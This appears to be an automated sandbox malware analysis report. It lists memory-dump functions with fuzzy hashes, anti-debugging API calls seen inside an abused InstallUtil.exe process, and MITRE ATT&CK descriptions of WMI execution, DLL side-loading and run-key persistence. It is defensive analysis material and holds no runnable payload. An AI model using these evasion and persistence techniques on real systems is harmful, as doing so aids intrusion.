Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 046f3b73e4c053df42c9ae97b1c61dd084dbf7fc46d4ea6f6d0ed834c14d167e
Instruction ID: 2292d8f4ad8b0cfb8431c87fdf3b02577598902e6ebbca0ea797427af93b7748
Opcode Fuzzy Hash: 046f3b73e4c053df42c9ae97b1c61dd084dbf7fc46d4ea6f6d0ed834c14d167e
Instruction Fuzzy Hash: CEE08CB0C0520CEFCB40EFB8D4042ADBFF4EB05212F5040A8C808D3380E7710A54DB50

Function 08F06F44 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67acaf575681872fa35eb55f73d51e15da7e34ec3707980a2a24e113da33ff93
Instruction ID: 16a00bdf4295578f359fe144a01cf421a79598ab807760a3b7fdbe1a7ac660c9
Opcode Fuzzy Hash: 67acaf575681872fa35eb55f73d51e15da7e34ec3707980a2a24e113da33ff93
Instruction Fuzzy Hash: C6E0ED70918108CFE740EF6DE09879DBBB2FB4031AF509059E402A7681CB79AC91DF01

Function 0A29E2F0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1912822086.000000000A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_a280000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33e81e3334772d08432c8ef50956db4d0e9a1276570953d2c88dbfd2b66c3183
Instruction ID: de1f89d738b0d94509914626898c6f267870e2de6ddfd9bd919abea7ee792596
Opcode Fuzzy Hash: 33e81e3334772d08432c8ef50956db4d0e9a1276570953d2c88dbfd2b66c3183
Instruction Fuzzy Hash: C2E0C234D18208EBCB04DFA4E4446BDFFB9EB46301F14C1A8C80813340C7725E02CB84

Function 08F06AFA Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4ca5bf0d039b5d0ebe2d4303a294bc4d63b9e756d96366c94ed91c15a510f87
Instruction ID: 44d4bd47e04a457d2dc9d4d11afbfef46f4b892307fb8e870dff60fb166da08e
Opcode Fuzzy Hash: f4ca5bf0d039b5d0ebe2d4303a294bc4d63b9e756d96366c94ed91c15a510f87
Instruction Fuzzy Hash: F8E09270A0818CCFD700EFA8E08879D7BF2FB4031AF505059E002BB284CB789881CF01

Function 08F065F0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad7192d70c953d2afc687badd5375a3fdb83ce832e86332aab5ac03c72a064cd
Instruction ID: c4016c24c47bfeec31aaabb3c409e51a34dde4ffb2f349f0a964dce204477a9c
Opcode Fuzzy Hash: ad7192d70c953d2afc687badd5375a3fdb83ce832e86332aab5ac03c72a064cd
Instruction Fuzzy Hash: A0D01770C49208EFC704EFB8E9046AEBBB8EB46302F5092A9D80963291D7751E55EE95

Function 08F071D3 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f10c48d0430292fc078162afe3a76093e29f96b8288fdbebe1a33becc001905
Instruction ID: a2df21360087396ecf57752008f7bb42778ae1535e991566fa103bb524d3a5ec
Opcode Fuzzy Hash: 0f10c48d0430292fc078162afe3a76093e29f96b8288fdbebe1a33becc001905
Instruction Fuzzy Hash: 38E0E5709052A88FD710EF64E8587AEBBB2EB89306F505098D00AB7342DB346E848F11

Function 08F072C7 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e67f636b3eab0b226e85c797d214cce7024066c0f33817f568c06306da12eeff
Instruction ID: b1a3e92984a950135ef38985588ab926037652b100a40c0b90493a0e2ab9f472
Opcode Fuzzy Hash: e67f636b3eab0b226e85c797d214cce7024066c0f33817f568c06306da12eeff
Instruction Fuzzy Hash: 17E01A789082288BD790EF64E9547AE7BB7EB48305F109098D00AB3361CF35AE84CF11

Function 08F06B98 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de1cb1aaeeb60df6aeb2f3cf46ab16b87864e7b3d281f35b24699784e64a6469
Instruction ID: 45f30bd3cd4b697f3cda928186ecdb6ca37a8b6fb3e941e44ea88a7f6fb3bb08
Opcode Fuzzy Hash: de1cb1aaeeb60df6aeb2f3cf46ab16b87864e7b3d281f35b24699784e64a6469
Instruction Fuzzy Hash: 82E01A7090426CCFE714EFA5E859BADB7B2EB46301F10D499D10AB7281CA34AE80CF70

Function 08F06B42 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e8e23b1644bf0921409173bd7c7cd9d12f44a0f964276b47e4a801d3e261ccc
Instruction ID: f6b4a469d253f62b9b4e7a78c294baff8f61708bffc5c6c8afc0120e36ba3695
Opcode Fuzzy Hash: 9e8e23b1644bf0921409173bd7c7cd9d12f44a0f964276b47e4a801d3e261ccc
Instruction Fuzzy Hash: 75E01274A041688FD754EF64D55A7EDB7B2EB45301F109499D206B3241DB386D808F55

Function 08F06D45 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403922189c53caf51bd488786aa543fe50f8fc767a7cc43f676f670105481753
Instruction ID: 472a3f9ffee3338c1a9a2984f457e4522077011df9a19d1c6e11bbb3c7816991
Opcode Fuzzy Hash: 403922189c53caf51bd488786aa543fe50f8fc767a7cc43f676f670105481753
Instruction Fuzzy Hash: B8E01AB49041288FC710EF64E5A97AE77B2EF89301F009499E54AB7241CB346E84CF00

Function 08F06EEC Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ba617a8a9f138efd49c9a3c2b93b30bd176d0dd6d38bd8f442d07eb6025f98e
Instruction ID: 302ddcb9eb6c16eadecd71760d74e0710c2e244723515d698f415674bd0b3ebb
Opcode Fuzzy Hash: 7ba617a8a9f138efd49c9a3c2b93b30bd176d0dd6d38bd8f442d07eb6025f98e
Instruction Fuzzy Hash: 08E01A70904229CFD7A0EF64E894BFD7BB2EB45305F1190A8D11EB3241DE34AD859F10

Function 08F06F4A Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb65841b2cec4e18cebe649e55824685a06fb99b5fc19b7d885abb7bca6a6bdf
Instruction ID: 0670d35365edda3d85a6f23a43d220312cc22d1d7f5a6a0509c72be1984af0d1
Opcode Fuzzy Hash: eb65841b2cec4e18cebe649e55824685a06fb99b5fc19b7d885abb7bca6a6bdf
Instruction Fuzzy Hash: 87E01A749081288FE760EF65E8947ED77B2EB44309F109499E08AB7240DF346DC18F00

Function 04B0F338 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b5a71a1f03c4d3524163ada9acbbaec0f843524ab96c75801886e2e7f88f43e
Instruction ID: 0e9f40ee657958517687dc90e1316fbf2fd78efef4136f97f1eaa20f1849208b
Opcode Fuzzy Hash: 8b5a71a1f03c4d3524163ada9acbbaec0f843524ab96c75801886e2e7f88f43e
Instruction Fuzzy Hash: 75D05BB090010CEFCF00DFBAE94155DBBF9DB44304B1085A9E809E7210EE316F019B51

Function 04B0B7BB Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43457923f509ab1944c2fad99dc0a73c1d01e336219d7589fc6ef83ca2aba406
Instruction ID: 454c2b379efd3fa4a28412113c93c76fde229ae3eb9063c226eea1c12c324270
Opcode Fuzzy Hash: 43457923f509ab1944c2fad99dc0a73c1d01e336219d7589fc6ef83ca2aba406
Instruction Fuzzy Hash: D0E0EC7091410DDBCF10DFA4E4946DC7B71FB84305F000925F002A7250DB787885CB65

Function 04B0BAE3 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7544ce52596abd8c4a1f3886291721f10ec937e36ba151530810967652c7e60c
Instruction ID: 2a97ca252fe9cb4356ed51d9f627ffb32a596723c8cd15bf3427246f5fec9375
Opcode Fuzzy Hash: 7544ce52596abd8c4a1f3886291721f10ec937e36ba151530810967652c7e60c
Instruction Fuzzy Hash: 12D09278E0926ACFCF01CFA6C8586DDBBB0FB49602F158146D812A7281DB34A807CB11

Function 0A29E700 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1912822086.000000000A280000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_a280000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aada62a0aca54bf9ff4906e309c33fa6060f4586db4f9f3474a2b51bb0e5846d
Instruction ID: 09c45f4dbd1afa1d664472045570f64f14150c7d8ff0504b134975c2a691ecde
Opcode Fuzzy Hash: aada62a0aca54bf9ff4906e309c33fa6060f4586db4f9f3474a2b51bb0e5846d
Instruction Fuzzy Hash: 7CC02B700BE705C7CB149254640C3F27ADCD307702F422830900D0102347F14400C573

Function 04B0BAF0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a40b0c9383ec76d65a889e1b824bb822be5bd8fd058de3ca320cf5a5aad2e88
Instruction ID: c1b52af16db58d13913fedd5dcfbb7dcf5b773c367f9450164e107541c7f165c
Opcode Fuzzy Hash: 3a40b0c9383ec76d65a889e1b824bb822be5bd8fd058de3ca320cf5a5aad2e88
Instruction Fuzzy Hash: F9D06C74E14229CBDF04DBA5D850AADB6B1BB48301F004519D41277280D73469068F59

Function 08F0AE30 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1910815276.0000000008F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 08F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_8f00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1486869791c34cba6295252cb189c4e47f0c6c655c8e5c9a5163658305eed66d
Instruction ID: 3bb16bea1efbaad36839c5f2e9fc4940ee86ccd1020dfed59b7efec356d3812f
Opcode Fuzzy Hash: 1486869791c34cba6295252cb189c4e47f0c6c655c8e5c9a5163658305eed66d
Instruction Fuzzy Hash: F6C08C114252810FDB09C6305618A017910B702348F1AC5848084CA083D6A0814093B2

Function 04B0A3D5 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aac0ccac371f45c448ca64679486a3f5aa411e28eb7e9f95e7c87b30861491eb
Instruction ID: 2bd605a08ea16ce141c6decaad01f8a68cbbd1d612ce52d641d81de48899977b
Opcode Fuzzy Hash: aac0ccac371f45c448ca64679486a3f5aa411e28eb7e9f95e7c87b30861491eb
Instruction Fuzzy Hash: 6CC01274524308CFD3049F36D04831A7FA2E74831AF10D455E01256281D634A8848F51

Function 04B0D293 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cce07391f8312eff936cb89b706f27af57907e0537a2530c0983f55291b39be
Instruction ID: 1f682fda70f78a2b7a07838f6d1896c32df3ad0066552839169b36fd74513994
Opcode Fuzzy Hash: 0cce07391f8312eff936cb89b706f27af57907e0537a2530c0983f55291b39be
Instruction Fuzzy Hash: 59D01270511304CBC7146B3084543587A76E749301FA0DAB9C549D6391DA358D51CF80

Function 04B0A33D Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bc91da0cc241e8559fec5124e31eceed21456a0d6430c1595fc13e3d504aaf9
Instruction ID: 9c9144c70ce7369deb49068103e91df26eae375a488842fdae4b088b5178f843
Opcode Fuzzy Hash: 9bc91da0cc241e8559fec5124e31eceed21456a0d6430c1595fc13e3d504aaf9
Instruction Fuzzy Hash: 5EB01270E002198FC704CB54C09036CBF705F01302F0441759006B3185E524ACC1C700

Function 04B0D230 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1839110316.0000000004B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b00000_IV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 981e3a197d7bf7054272a0506252b297faf47f1a5d7465e27995f3aa696f4c16
Instruction ID: ca53b06f43b84610180a1f4a6cf913df1165b531e1be5385e9c3d6d66c3b0b6a
Opcode Fuzzy Hash: 981e3a197d7bf7054272a0506252b297faf47f1a5d7465e27995f3aa696f4c16
Instruction Fuzzy Hash: 7EB092B8905214CBEBA88F26C808B98BEF0FB4C201F10C2EBC50ED3280EA340D808F01

Non-executed Functions

Function 075B0688 Relevance: 9.0, Strings: 7, Instructions: 220COMMON

Download Yara Rule

Strings

4'tq, xrefs: 075B080C
4'tq, xrefs: 075B0800
$tq, xrefs: 075B079A
$tq, xrefs: 075B075E
$tq, xrefs: 075B0976
$tq, xrefs: 075B07A6
$tq, xrefs: 075B0982

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq$$tq$$tq$$tq
API String ID: 0-2774507032
Opcode ID: ad54f1c8a895b8beb9f9cdd5c857b0dda708b0a46282ee14d9ca5aac38f559ea
Instruction ID: 40d9514dceefbab521444c6cdfb11db7d94bb513518a3e26e62c17d63f515f20
Opcode Fuzzy Hash: ad54f1c8a895b8beb9f9cdd5c857b0dda708b0a46282ee14d9ca5aac38f559ea
Instruction Fuzzy Hash: 62615CB17083069FEB355A3988106F7BBA2FF82210F1485A7E449DF2D6DA31CD45C7A2

Function 075B0308 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

$tq, xrefs: 075B0352
4'tq, xrefs: 075B0373
$tq, xrefs: 075B035E
4'tq, xrefs: 075B037F

Memory Dump Source

Source File: 0000000F.00000002.1905428634.00000000075B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 075B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_75b0000_IV.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$$tq$$tq
API String ID: 0-3085001694
Opcode ID: 47f38ef73099a689322c7fb918d95cc0c1f651e72c3849258e17a35f4b55dc7e
Instruction ID: 77c2341d27febf2c91ff7f7112cd7c9c5cdc70b97769c2e5ffe91aa419067d1f
Opcode Fuzzy Hash: 47f38ef73099a689322c7fb918d95cc0c1f651e72c3849258e17a35f4b55dc7e
Instruction Fuzzy Hash: B901A76170D39A9FC72B127958201B66FB2AF8350072A44D3C585DF2D7C9244C4AC3A7

Analysis Process: InstallUtil.exePID: 8084, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	17.6%
Total number of Nodes:	17
Total number of Limit Nodes:	1

Executed Functions

Function 06540040 Relevance: 2.8, Instructions: 2754COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.4169864774.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6540000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30f69c8f01d53d81e0ed6ad67c238f9b3960cc3cbb21cf39203d6a256afee494
Instruction ID: 31151a862281f685214b2849e7c6ceef66ca36f25ecb9593e86f0929146eaf27
Opcode Fuzzy Hash: 30f69c8f01d53d81e0ed6ad67c238f9b3960cc3cbb21cf39203d6a256afee494
Instruction Fuzzy Hash: 1D53D631D10B1A8ADB11EF68C8946A9F7B1FF99300F51D79AE45867121FB70AAC4CF81

Function 029270B0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 02927127

Memory Dump Source

Source File: 00000011.00000002.4153744303.0000000002920000.00000040.00000800.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2920000_InstallUtil.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 087bfc216aa3d5bff4e6f1dd776a60ff12c0c028cc36f319289309589ad1c930
Instruction ID: 387fc08e4bd7bb815cf07a4d5d0652de94c08bf72c86146cdd6ffda756160cfa
Opcode Fuzzy Hash: 087bfc216aa3d5bff4e6f1dd776a60ff12c0c028cc36f319289309589ad1c930
Instruction Fuzzy Hash: F92125B1800269CFDB10CF9AD884BEEFBF8AF49320F14845AE459B7251D778A944CF61

Function 06C20C70 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06C20D31

Memory Dump Source

Source File: 00000011.00000002.4170532593.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6c20000_InstallUtil.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 0807f573fe8b78e10f1da72408c814ad267e0238397af276d5db209530fd0bd7
Instruction ID: 6ad497acb2d5e8a30923157fc110894e6a214d7c29495b6241a3ed0b04ad6df2
Opcode Fuzzy Hash: 0807f573fe8b78e10f1da72408c814ad267e0238397af276d5db209530fd0bd7
Instruction Fuzzy Hash: F14149B4A00359CFDB54CF89C848A9ABBF5FF88314F24845DD919AB321D774A941CFA0

Function 029270A9 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 02927127

Memory Dump Source

Source File: 00000011.00000002.4153744303.0000000002920000.00000040.00000800.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2920000_InstallUtil.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 2dc6528cf8619ae87ff9990e637e3ba8a83a8a2a5837fc7e4314883fac88c133
Instruction ID: 2c354f5f5deca6bf133e36612049d99986bb44bfe5df1e794991f2ad76d11933
Opcode Fuzzy Hash: 2dc6528cf8619ae87ff9990e637e3ba8a83a8a2a5837fc7e4314883fac88c133
Instruction Fuzzy Hash: 1F2136B18002698FDB10CF9AD884BEEFBF4EF48320F15845AE458A7251D7789944CF61

Function 06C231B1 Relevance: 1.5, APIs: 1, Instructions: 47
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OleInitialize.OLE32(00000000), ref: 06C2320D

Memory Dump Source

Source File: 00000011.00000002.4170532593.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6c20000_InstallUtil.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 3bff2b1b22d4c5215ed4e4371ec3b01bf9364be424a36c89584d4aeb5ce381cd
Instruction ID: 338bd8d8741504a656ed056838eb97080504568370d2e5b07e957b419947352e
Opcode Fuzzy Hash: 3bff2b1b22d4c5215ed4e4371ec3b01bf9364be424a36c89584d4aeb5ce381cd
Instruction Fuzzy Hash: 801133B18002898FCB20DF9AD848BDEBFF8EB48320F248419D519A3210C379A944CFA5

Function 06C22340 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 06C2320D

Memory Dump Source

Source File: 00000011.00000002.4170532593.0000000006C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6c20000_InstallUtil.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f73b0cdca8467b214e91bde0c01babc046455302adb6201f8b187d37ac3010c9
Instruction ID: cddf587420615c71be94060fb8ecdcb63aedca854218d4bfa439d77dc5aa3f1e
Opcode Fuzzy Hash: f73b0cdca8467b214e91bde0c01babc046455302adb6201f8b187d37ac3010c9
Instruction Fuzzy Hash: 231115B5C04399CFDB20DF9AD848B9EFBF8EB48320F148459D919A7210C379A944CFA5

Function 028DD110 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.4153434761.00000000028DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 028DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_28dd000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29c6bd12ff315857c15ce439a52144a86b23e3ddfe97359eb9dfa52f0b6d2c35
Instruction ID: c24f371f10867ce6ffc56535e343ef8867294d2df228a5ecf815d5be595041cd
Opcode Fuzzy Hash: 29c6bd12ff315857c15ce439a52144a86b23e3ddfe97359eb9dfa52f0b6d2c35
Instruction Fuzzy Hash: 9C21D07E604204DFDF04DF14D980B26FBA5FB88318F24C569E80E8B246C33AD44ACA61

Function 028DD10B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.4153434761.00000000028DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 028DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_28dd000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bad08bc3297c4791243414a9a82218353e3075920b51f23bb46501d1989d77c
Instruction ID: 2fa36e078e703a28ea1f0a7e2d955b25f0a1ddded3d9401ac5f765fc28f2c53d
Opcode Fuzzy Hash: 8bad08bc3297c4791243414a9a82218353e3075920b51f23bb46501d1989d77c
Instruction Fuzzy Hash: AE118B7A504284DFDB15CF14D9C4B15FBA2FB88314F24C6AADC4D8B656C33AD44ACB61

Function 0654DA40 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.4169864774.0000000006540000.00000040.00000800.00020000.00000000.sdmp, Offset: 06540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_6540000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c73fe8078bc3f84fdd5bf4506b929a37c555b6c627cbeffd528d83b1dfc2507e
Instruction ID: fa7fcf62e96ec918fe8caad33b8d971e6f39e51c635b8eacd7487b04ceeb9801
Opcode Fuzzy Hash: c73fe8078bc3f84fdd5bf4506b929a37c555b6c627cbeffd528d83b1dfc2507e
Instruction Fuzzy Hash: 6F018171B100154FDBA4A639E454B2A77E5EF89728F208A69E10ACB345EE25DC024B92

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

